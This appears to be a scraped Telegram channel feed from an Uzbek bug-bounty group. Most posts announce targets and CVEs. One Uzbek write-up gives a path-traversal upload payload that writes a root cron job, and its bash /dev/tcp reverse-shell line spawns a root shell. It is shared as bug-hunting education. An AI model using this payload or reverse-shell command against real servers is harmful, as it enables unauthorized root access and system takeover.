SanSec

New target in sansec.uz 🔥🔥🔥

$150,000 Apple Bug Bounty 🍎 [CVE-2026-20685] Beyond Prompt Injection: Hacking Apple's Private Cloud Compute 🤯🔥 🔗 https://blog.sentry.security/beyond-prompt-injection-hacking-apples-private-cloud-compute/ 🔗 https://nvd.nist.gov/vuln/detail/CVE-2026-20685

New BBP targets are coming soon SanSec.uz

Node.js. Webshell befoyda. Lekin...👀 Path traversal orqali RCE olish haqida eshitganmisiz? Bug hunting vaqtida unauth upload function topib oldim. Birinchi narsa — stack tekshirdim. Node.js. Demak webshell yuklashni deyarli foydasi yo'q, ko'pchilik shu yerda to'xaydi va keyingisiga o'tadi. Lekin men filename parametriga e'tibor berdim. Odatda bu parametr serverda fayl nomini belgilaydi. Sanitize qilinmagan bo'lsa — path traversal. Tekshirdim: filename=../../../../../../etc/passwd Server 200 OK javob qaytardi. Xato yo'q. Endi asosiy savol — process qaysi user bilan ishlayapti? Agar www-data bo'lsa /etc ga yoza olmayman. Root bo'lsa — boshqa gap. filename=../../../../../../etc/cron.d/backdoor file body'ga esa: * * * * * root bash -i >& /dev/tcp/x.x.x.x/4444 0>&1 Server 200 OK. Yuklandi. Endi faqat cron daemon ishlayaptimi degan savol qoldi — va u ishlayotgandi. Netcat'ni yoqib 60 soniya kutdim. connect to [attacker] from [target] uid=0(root) gid=0(root) groups=0(root) CVE kerak emas. 0day kerak emas. Webshell ham kerak emas. Faqat sanitize qilinmagan bitta parametr va root sifatida ishlaydigan bitta process. Asosiy muammo kod ichida emas — uni kim yozganida edi.🙂 Telegram📱 Linkedin 📱 Web✈️

🙂 shunaqa logikani kim o'ylab topgan ekana

🙂 shunaqa logikani kim o'ylab topgan ekana

Asadbek Fatullayev is cooking 🔥🔥🔥 sansec.uz

Next CVEs 🔹 CVE-2026-72607 🔹 CVE-2026-72608 🔹 CVE-2026-72609 🔹 CVE-2026-72610 CNA sifatida yordam bergan @CNA_Uzbekistan va Jamshidga rahmat

😎

New target in sansec.uz: https://apps.apple.com/us/app/zynygram/id6789012626 https://play.google.com/store/apps/details?id=org.zyny.app&hl=ru&gl=ru

Jenkins 0day from Turan Security Team https://www.cve.org/CVERecord?id=CVE-2026-19429

More and more targets are coming 🔥🔥🔥

New target in sansec.uz

Sansec.uz next target: http://taletalk.uz

https://www.instagram.com/reel/Db2LdJIsBo3/?igsh=MTJhcGE5amZ0djcycQ==

https://www.instagram.com/reel/Db2LdJIsBo3/?igsh=MTJhcGE5amZ0djcycQ==

offsec machinelar haqida @saidakbarxon_m bro kanalida o'qib qogandim. Birinchisi qabul bolsa yana 4 ta tayyor. Bir yarim milyard som pul berishsa oshga eriman )))